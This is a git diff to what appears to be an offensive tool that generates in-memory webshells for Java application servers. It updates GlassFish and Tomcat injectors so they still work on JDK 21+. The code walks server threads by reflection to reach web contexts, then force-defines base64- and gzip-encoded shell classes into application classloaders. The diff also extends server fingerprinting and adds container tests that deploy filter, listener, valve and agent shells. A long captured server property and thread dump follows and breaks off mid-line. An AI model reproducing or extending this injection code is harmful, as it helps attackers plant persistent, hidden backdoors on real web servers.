diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java index 0d20fa60..00814167 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java @@ -87,7 +87,11 @@ public class GlassFishFilterInjector { Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + Object target = getThreadTarget(thread); + if (target == null) { + continue; + } + Map childrenMap = (Map) getFieldValue(getFieldValue(target, "this$0"), "children"); for (Object value : childrenMap.values()) { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); @@ -97,6 +101,18 @@ public class GlassFishFilterInjector { return contexts; } + private Object getThreadTarget(Thread thread) throws Exception { + Object target = getFieldValue(thread, "target"); + if (target == null) { + // JDK 21+ + Object holder = getFieldValue(thread, "holder"); + if (holder != null) { + target = getFieldValue(holder, "task"); + } + } + return target; + } + private ClassLoader getWebAppClassLoader(Object context) throws Exception { try { return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java index a2abf9f3..9343952e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java @@ -76,7 +76,11 @@ public class GlassFishValveInjector { Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + Object target = getThreadTarget(thread); + if (target == null) { + continue; + } + Map childrenMap = (Map) getFieldValue(getFieldValue(target, "this$0"), "children"); Collection values = childrenMap.values(); for (Object value : values) { Map children = (Map) getFieldValue(value, "children"); @@ -87,6 +91,15 @@ public class GlassFishValveInjector { return contexts; } + private Object getThreadTarget(Thread thread) throws Exception { + try { + return getFieldValue(thread, "target"); + } catch (NoSuchFieldException e) { + // JDK 21+ + return getFieldValue(getFieldValue(thread, "holder"), "task"); + } + } + private ClassLoader getWebAppClassLoader(Object context) throws Exception { try { return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java index 66f10c98..5e8b3f7a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java @@ -199,17 +199,22 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas @SuppressWarnings("all") public void defineTargetClass(ClassLoader loader) { + // Always define into the target class's loader. loadClass() may resolve the shell from the + // agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke. try { - loader.loadClass(getClassName()); - return; - } catch (ClassNotFoundException ignored) { + java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class); + findLoadedClass.setAccessible(true); + if (findLoadedClass.invoke(loader, getClassName()) != null) { + return; + } + } catch (Throwable ignored) { } try { byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); defineClass.invoke(loader, classBytecode, 0, classBytecode.length); - } catch (Exception ignored) { + } catch (Throwable ignored) { } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java index 4b97c72f..0409b6ab 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java @@ -199,17 +199,22 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer { @SuppressWarnings("all") public void defineTargetClass(ClassLoader loader) { + // Always define into the target class's loader. loadClass() may resolve the shell from the + // agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke. try { - loader.loadClass(getClassName()); - return; - } catch (ClassNotFoundException ignored) { + java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class); + findLoadedClass.setAccessible(true); + if (findLoadedClass.invoke(loader, getClassName()) != null) { + return; + } + } catch (Throwable ignored) { } try { byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); defineClass.invoke(loader, classBytecode, 0, classBytecode.length); - } catch (Exception ignored) { + } catch (Throwable ignored) { } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java index 350aed41..92bff42d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java @@ -59,14 +59,22 @@ public class TomcatListenerInjector { for (Thread thread : threads) { String threadName = thread.getName(); if (threadName.contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + Object target = getThreadTarget(thread); + if (target == null) { + continue; + } + Map childrenMap = (Map) getFieldValue(getFieldValue(target, "this$0"), "children"); for (Object value : childrenMap.values()) { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } } else if (threadName.contains("Poller") && !threadName.contains("ajp")) { try { - Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto"); + Object target = getThreadTarget(thread); + if (target == null) { + continue; + } + Object proto = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "proto"); Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine"); Map childrenMap = (Map) getFieldValue(engine, "children"); for (Object value : childrenMap.values()) { @@ -90,6 +98,18 @@ public class TomcatListenerInjector { return contexts; } + private Object getThreadTarget(Thread thread) throws Exception { + Object target = getFieldValue(thread, "target"); + if (target == null) { + // JDK 21+ + Object holder = getFieldValue(thread, "holder"); + if (holder != null) { + target = getFieldValue(holder, "task"); + } + } + return target; + } + @SuppressWarnings("all") private String getContextRoot(Object context) { String r = null; diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java index 6b423b3c..52a5bca5 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java @@ -70,7 +70,9 @@ public class ServerProbe { if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) { return ret = "SpringWebFlux"; } - if (System.getProperty("AS_INSTALL") != null) { + if (System.getProperty("AS_INSTALL") != null + || System.getProperty("com.sun.aas.installRoot") != null + || System.getProperty("glassfish.version") != null) { return ret = "GlassFish"; } if (System.getProperty("jboss.home.dir") != null diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/GlassFishFilterProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/GlassFishFilterProbe.java index 30506f3a..67a15ba3 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/GlassFishFilterProbe.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/GlassFishFilterProbe.java @@ -156,7 +156,11 @@ public class GlassFishFilterProbe { Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + Object target = getThreadTarget(thread); + if (target == null) { + continue; + } + Map childrenMap = (Map) getFieldValue(getFieldValue(target, "this$0"), "children"); for (Object value : childrenMap.values()) { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); @@ -166,6 +170,15 @@ public class GlassFishFilterProbe { return contexts; } + private Object getThreadTarget(Thread thread) throws Exception { + try { + return getFieldValue(thread, "target"); + } catch (NoSuchFieldException e) { + // JDK 21+ + return getFieldValue(getFieldValue(thread, "holder"), "task"); + } + } + public static Object invokeMethod(Object obj, String methodName) throws Exception { return invokeMethod(obj, methodName, null, null); } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/GlassFishWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/GlassFishWriter.java index 42a999ee..ef74381a 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/GlassFishWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/GlassFishWriter.java @@ -32,7 +32,7 @@ public class GlassFishWriter { // GlassFish4+ Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { - Object blocker = getFieldValue(thread, "blocker"); + Object blocker = getThreadBlocker(thread); if (blocker == null || !blocker.getClass().getName().contains("Selector")) { continue; } @@ -62,6 +62,19 @@ public class GlassFishWriter { } } + private Object getThreadBlocker(Thread thread) { + try { + return getFieldValue(thread, "blocker"); + } catch (Throwable ignored) { + try { + // JDK 21+ + return getFieldValue(thread, "nioBlocker"); + } catch (Throwable ignored2) { + return null; + } + } + } + private boolean tryWriteRes(Object request) throws Exception { Object response = invokeMethod(request, "getResponse", null, null); String data = getDataFromReq(request); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7JDK21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7JDK21ContainerTest.java new file mode 100644 index 00000000..9ce8465e --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7JDK21ContainerTest.java @@ -0,0 +1,59 @@ +package com.reajason.javaweb.integration.memshell.glassfish; + +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; + +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Testcontainers +public class GlassFish7JDK21ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish( + "reajason/glassfish:7.1.1-jdk21", + "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war") + .waitStrategy(Wait.forLogMessage(".*JMXService.*", 1)) + .warFile(warJakartaFile) + .jakarta(true) + .targetJdkVersion(Opcodes.V21) + .supportedShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE + )) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish8ContainerTest.java new file mode 100644 index 00000000..8fa5456a --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish8ContainerTest.java @@ -0,0 +1,59 @@ +package com.reajason.javaweb.integration.memshell.glassfish; + +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; + +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Testcontainers +public class GlassFish8ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish( + "reajason/glassfish:8.0.3-jdk21", + "/usr/local/glassfish8/glassfish/domains/domain1/autodeploy/app.war") + .waitStrategy(Wait.forLogMessage(".*JMXService.*", 1)) + .warFile(warJakartaFile) + .jakarta(true) + .targetJdkVersion(Opcodes.V21) + .supportedShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE + )) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7JDK21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7JDK21ContainerTest.java new file mode 100644 index 00000000..67ea4ff0 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish7JDK21ContainerTest.java @@ -0,0 +1,38 @@ +package com.reajason.javaweb.integration.probe.glassfish; + +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Testcontainers +public class GlassFish7JDK21ContainerTest extends AbstractProbeContainerTest { + + private static final ProbeTestConfig CONFIG = ProbeTestConfig.glassfishJakarta( + "reajason/glassfish:7.1.1-jdk21", + "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war") + .expectedJdkVersion("JDK|21.0.11|65") + .targetJdkVersion(Opcodes.V21) + .waitStrategy(Wait.forLogMessage(".*JMXService.*", 1)) + .build(); + + @Container + public static final GenericContainer container = buildContainer(CONFIG); + + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; + } + + @Override + protected GenericContainer getContainer() { + return container; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish8ContainerTest.java new file mode 100644 index 00000000..f7edaa39 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish8ContainerTest.java @@ -0,0 +1,38 @@ +package com.reajason.javaweb.integration.probe.glassfish; + +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Testcontainers +public class GlassFish8ContainerTest extends AbstractProbeContainerTest { + + private static final ProbeTestConfig CONFIG = ProbeTestConfig.glassfishJakarta( + "reajason/glassfish:8.0.3-jdk21", + "/usr/local/glassfish8/glassfish/domains/domain1/autodeploy/app.war") + .expectedJdkVersion("JDK|21.0.11|65") + .targetJdkVersion(Opcodes.V21) + .waitStrategy(Wait.forLogMessage(".*JMXService.*", 1)) + .build(); + + @Container + public static final GenericContainer container = buildContainer(CONFIG); + + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; + } + + @Override + protected GenericContainer getContainer() { + return container; + } +} diff --git a/integration-test/src/test/resources/infos/GlassFish7JDK21ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/GlassFish7JDK21ContainerTestBasicInfo.txt new file mode 100644 index 00000000..c187c927 --- /dev/null +++ b/integration-test/src/test/resources/infos/GlassFish7JDK21ContainerTestBasicInfo.txt @@ -0,0 +1,1413 @@ +# Generated At 2026-07-31 13:10:17 +SystemProps: +javax.xml.accessExternalSchema: all +jdk.tls.rejectClientInitiatedRenegotiation: true +java.specification.version: 21 +jdk.corba.allowOutputStreamSubclass: true +sun.jnu.encoding: UTF-8 +com.sun.aas.installRoot: /usr/local/glassfish7/glassfish +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +com.sun.aas.productRoot: /usr/local/glassfish7 +catalina.useNaming: false +org.omg.CORBA.ORBSingletonClass: com.sun.corba.ee.impl.orb.ORBSingleton +com.sun.aas.domainName: domain1 +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: com.sun.enterprise.glassfish.bootstrap.GlassFishMain -upgrade false -domaindir /usr/local/glassfish7/glassfish/domains/domain1 -read-stdin true -asadmin-args --host,,,localhost,,,--port,,,4848,,,--secure=false,,,--terse=false,,,--echo=false,,,--interactive=false,,,start-domain,,,--verbose=true,,,--watchdog=false,,,--debug=false,,,--domaindir,,,/usr/local/glassfish7/glassfish/domains,,,domain1 -domainname domain1 -instancename server -type DAS -verbose true -asadmin-modulepath /usr/local/glassfish7/glassfish/lib/bootstrap -asadmin-classpath /usr/local/glassfish7/glassfish/appserver-cli.jar:/usr/local/glassfish7/glassfish/admin-cli.jar:/usr/local/glassfish7/glassfish/lib/asadmin/cli-optional.jar:/usr/local/glassfish7/glassfish/lib/asadmin/cluster-cli.jar:/usr/local/glassfish7/glassfish/lib/asadmin/osgi-cli-interactive.jar:/usr/local/glassfish7/glassfish/lib/asadmin/server-mgmt.jar:/usr/local/glassfish7/glassfish/modules/admin-util.jar:/usr/local/glassfish7/glassfish/modules/backup.jar:/usr/local/glassfish7/glassfish/modules/cluster-common.jar:/usr/local/glassfish7/glassfish/modules/cluster-ssh.jar:/usr/local/glassfish7/glassfish/modules/config-api.jar:/usr/local/glassfish7/glassfish/modules/config-types.jar:/usr/local/glassfish7/glassfish/modules/common-util.jar:/usr/local/glassfish7/glassfish/modules/glassfish-api.jar:/usr/local/glassfish7/glassfish/modules/hk2.jar:/usr/local/glassfish7/glassfish/modules/hk2-config-generator.jar:/usr/local/glassfish7/glassfish/modules/internal-api.jar:/usr/local/glassfish7/glassfish/modules/jackson-core.jar:/usr/local/glassfish7/glassfish/modules/jakarta.activation-api.jar:/usr/local/glassfish7/glassfish/modules/jakarta.validation-api.jar:/usr/local/glassfish7/glassfish/modules/jakarta.xml.bind-api.jar:/usr/local/glassfish7/glassfish/modules/jaxb-osgi.jar:/usr/local/glassfish7/glassfish/modules/jettison.jar:/usr/local/glassfish7/glassfish/modules/jsch.jar:/usr/local/glassfish7/glassfish/modules/launcher.jar:/usr/local/glassfish7/glassfish/modules/mimepull.jar -debug false -asadmin-classname com.sun.enterprise.admin.cli.AdminMain +com.sun.aas.configName: server-config +jdk.debug: release +java.specification.vendor: Oracle Corporation +jdk.module.path: /usr/local/glassfish7/glassfish/lib/bootstrap +gosh.args: --nointeractive +java.version.date: 2026-04-21 +java.home: /opt/java/openjdk +com.sun.enterprise.security.httpsOutboundKeyAlias: s1as +file.separator: / +java.vm.compressedOopsMode: 32-bit +line.separator: + +javax.rmi.CORBA.StubClass: com.sun.corba.ee.impl.javax.rmi.CORBA.StubDelegateImpl +java.vm.specification.vendor: Oracle Corporation +osgi.shell.telnet.ip: 127.0.0.1 +jdk.attach.allowAttachSelf: true +java.specification.name: Java Platform API Specification +com.sun.aas.derbyRoot: /usr/local/glassfish7/javadb +simple.jacc.provider.JACCRoleMapper.class: com.sun.enterprise.security.ee.web.integration.GlassfishRoleMapper +javax.rmi.CORBA.UtilClass: com.sun.corba.ee.impl.javax.rmi.CORBA.Util +jdbc.drivers: org.apache.derby.jdbc.ClientDriver +javax.net.ssl.trustStore: /usr/local/glassfish7/glassfish/domains/domain1/config/cacerts.p12 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 21.0.11+10-LTS +GlassFish_Platform: Felix +user.name: root +WALL_CLOCK_START: 2026-07-31T13:10:15.456531723Z +felix.fileinstall.poll: 5000 +java.security.policy: /usr/local/glassfish7/glassfish/domains/domain1/config/server.policy +com.sun.enterprise.config.config_environment_factory_class: com.sun.enterprise.config.serverbeans.AppserverConfigEnvironmentFactory +felix.fileinstall.log.level: 2 +file.encoding: UTF-8 +com.sun.aas.imqLib: /usr/local/glassfish7/mq/lib +java.vendor.version: Temurin-21.0.11+10 +com.sun.enterprise.jaccprovider.property.repository: /usr/local/glassfish7/glassfish/domains/domain1/generated/policy +java.io.tmpdir: /tmp +java.version: 21.0.11 +java.vm.specification.name: Java Virtual Machine Specification +com.sun.aas.instanceRoot: /usr/local/glassfish7/glassfish/domains/domain1 +java.util.logging.config.block: true +native.encoding: UTF-8 +java.library.path: /usr/local/glassfish7/glassfish/lib:/usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +stderr.encoding: UTF-8 +java.vendor: Eclipse Adoptium +ANTLR_USE_DIRECT_CLASS_LOADING: true +java.rmi.server.randomIDs: true +sun.io.unicode.encoding: UnicodeLittle +felix.fileinstall.dir: /usr/local/glassfish7/glassfish/modules/autostart/ +java.class.path: . +com.sun.aas.instanceRootURI: file:/usr/local/glassfish7/glassfish/domains/domain1/ +jakarta.security.jacc.PolicyConfigurationFactory.provider: org.glassfish.exousia.modules.locked.SimplePolicyConfigurationFactory +java.vm.vendor: Eclipse Adoptium +org.glassfish.gmbal.no.multipleUpperBoundsException: true +user.timezone: Etc/UTC +java.vm.specification.version: 21 +os.name: Linux +sun.java.launcher: SUN_STANDARD +user.country: US +sun.cpu.endian: little +config.parser: com.sun.enterprise.security.ee.jmac.ConfigDomainParser +user.home: /root +user.language: en +javax.rmi.CORBA.PortableRemoteObjectClass: com.sun.corba.ee.impl.javax.rmi.PortableRemoteObject +felix.fileinstall.bundles.new.start: true +com.sun.aas.hostName: 192.168.215.4 +jdk.xml.totalEntitySizeLimit: 50000000 +java.awt.headless: true +com.ctc.wstx.returnNullForDefaultNamespace: true +org.omg.CORBA.ORBClass: com.sun.corba.ee.impl.orb.ORBImpl +com.sun.aas.instanceName: server +org.glassfish.additionalOSGiBundlesToStart: org.apache.felix.shell,org.apache.felix.gogo.runtime,org.apache.felix.gogo.shell,org.apache.felix.gogo.command,org.apache.felix.shell.remote,org.apache.felix.fileinstall +stdout.encoding: UTF-8 +path.separator: : +os.version: 7.0.11-orbstack-00360-gc9bc4d96ac70 +com.sun.aas.installRootURI: file:/usr/local/glassfish7/glassfish/ +java.runtime.name: OpenJDK Runtime Environment +osgi.shell.telnet.maxconn: 1 +felix.fileinstall.bundles.startTransient: true +com.sun.aas.configRoot: /usr/local/glassfish7/glassfish/config +com.sun.aas.imqBin: /usr/local/glassfish7/mq/bin +java.vm.name: OpenJDK 64-Bit Server VM +com.sun.aas.javaRoot: /opt/java/openjdk +javax.net.ssl.keyStore: /usr/local/glassfish7/glassfish/domains/domain1/config/keystore.p12 +java.security.auth.login.config: /usr/local/glassfish7/glassfish/domains/domain1/config/login.conf +felix.fileinstall.disableConfigSave: false +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +catalina.home: /usr/local/glassfish7/glassfish/domains/domain1 +user.dir: /usr/local/glassfish7/glassfish/domains/domain1/config +os.arch: aarch64 +javax.management.builder.initial: com.sun.enterprise.v3.admin.AppServerMBeanServerBuilder +osgi.shell.telnet.port: 6666 +catalina.base: /usr/local/glassfish7/glassfish/domains/domain1 +java.util.logging.manager: org.glassfish.main.jul.GlassFishLogManager +com.sun.aas.agentRoot: /usr/local/glassfish7/glassfish/nodes +glassfish.version: Eclipse GlassFish 7.1.1 (commit: 8e05816bdc1d25b10d4274e0beea417d4ad412cc) +java.vm.info: mixed mode, sharing +java.vm.version: 21.0.11+10-LTS +com.sun.aas.domainsRoot: /usr/local/glassfish7/glassfish/domains +java.class.version: 65.0 + +=========================================== + +ThreadStacks: +"RMI RenewClean-[192.168.215.4:8686]" #126 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2a1b02b2 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218) + at java.rmi@21.0.11/sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:567) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"events-101" #101 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@3562b6b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"admin-listener(3)" #79 daemon [WAITING] on java.lang.Object@5ab58e8f + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-3" #26 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3ff0664b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at 